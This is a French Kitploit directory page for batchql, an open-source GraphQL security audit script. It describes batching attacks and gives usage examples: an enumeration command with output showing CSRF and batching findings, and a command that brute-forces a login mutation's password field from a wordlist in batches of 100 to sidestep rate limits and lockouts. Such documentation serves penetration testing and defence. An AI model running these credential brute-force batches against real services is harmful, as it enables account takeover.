Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
batchql — Script d'audit de sécurité GraphQL avec un accent sur la réalisation de requêtes et mutations GraphQL par lots. | Kitploit
Outils/GitHubGitHub/assetnote/batchql
Scanners de VulnérabilitésTests de Sécurité des APISécurité WebTests d'Intrusion
GitHubassetnote/batchql

batchql

Script d'audit de sécurité GraphQL avec un accent sur la réalisation de requêtes et mutations GraphQL par lots.

Voir le dépôt
41342il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

BatchQL

BatchQL est un script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et mutations GraphQL par lots. Ce script n'est pas complexe, et nous accueillons favorablement les améliorations.

En explorant le problème des attaques par lots GraphQL, nous avons constaté qu'il existait quelques articles de blog sur Internet, mais aucun outil pour effectuer ces attaques.

Les attaques par lots GraphQL peuvent être très graves selon les fonctionnalités implémentées. Par exemple, imaginez une fonctionnalité de réinitialisation de mot de passe qui attend un code PIN à 4 chiffres envoyé par e-mail. Avec cet outil, vous pourriez tenter les 10 000 codes PIN en une seule requête GraphQL. Cela pourrait contourner toute limitation de débit ou de verrouillage de compte selon les détails d'implémentation du flux de réinitialisation.

Détections

Cet outil est capable de détecter les éléments suivants :

  • Prise en charge des requêtes d'introspection
  • Détection des suggestions de schéma
  • Détection potentielle de CSRF
  • Batch basé sur le nom de la requête
  • Batch basé sur une liste JSON de requêtes

Attaques

Actuellement, cet outil ne prend en charge que l'envoi de requêtes sous forme de liste JSON pour les attaques par lots. Il prend en charge les scénarios où les variables sont intégrées dans la requête, ou fournies dans l'entrée JSON.

Utilisation

Énumération

root@kitploit:~
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Attaques par lots

  1. Enregistrez un fichier contenant votre requête GraphQL, par exemple acc-login.txt :
root@kitploit:~
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
  emailLoginRemembered(loginInput: $loginInput) {
    authToken {
      accessToken
      __typename
    }
    userSessionResponse {
      userToken
      userIdentity {
        userId
        identityType
        verified
        onboardingStatus
        registrationReferralCode
        userReferralInfo {
          referralCode {
            code
            valid
            __typename
          }
          __typename
        }
        __typename
      }
      __typename
    }
    __typename
  }
  }
  1. Exécutez la commande suivante pour lancer une attaque par lots GraphQL :
root@kitploit:~
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

La commande ci-dessus effectue les opérations suivantes :

  • Spécifie une requête à partir d'un fichier local --query acc-login.txt.
  • Spécifie une liste de mots --wordlist passwords.txt
  • Spécifie l'entrée des variables avec l'identifiant de remplacement -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Spécifie la taille du lot --size 100
  • Spécifie le point de terminaison -e http://re.local:5000/graphiql
  • Spécifie un proxy -p localhost:8080

Références

  • Exploiting GraphQL
  • Damn Vulnerable GraphQL Application
  • GraphQL Batching Attack - Wallarm
  • Mitigating Batching Attacks
Télécharger l’outil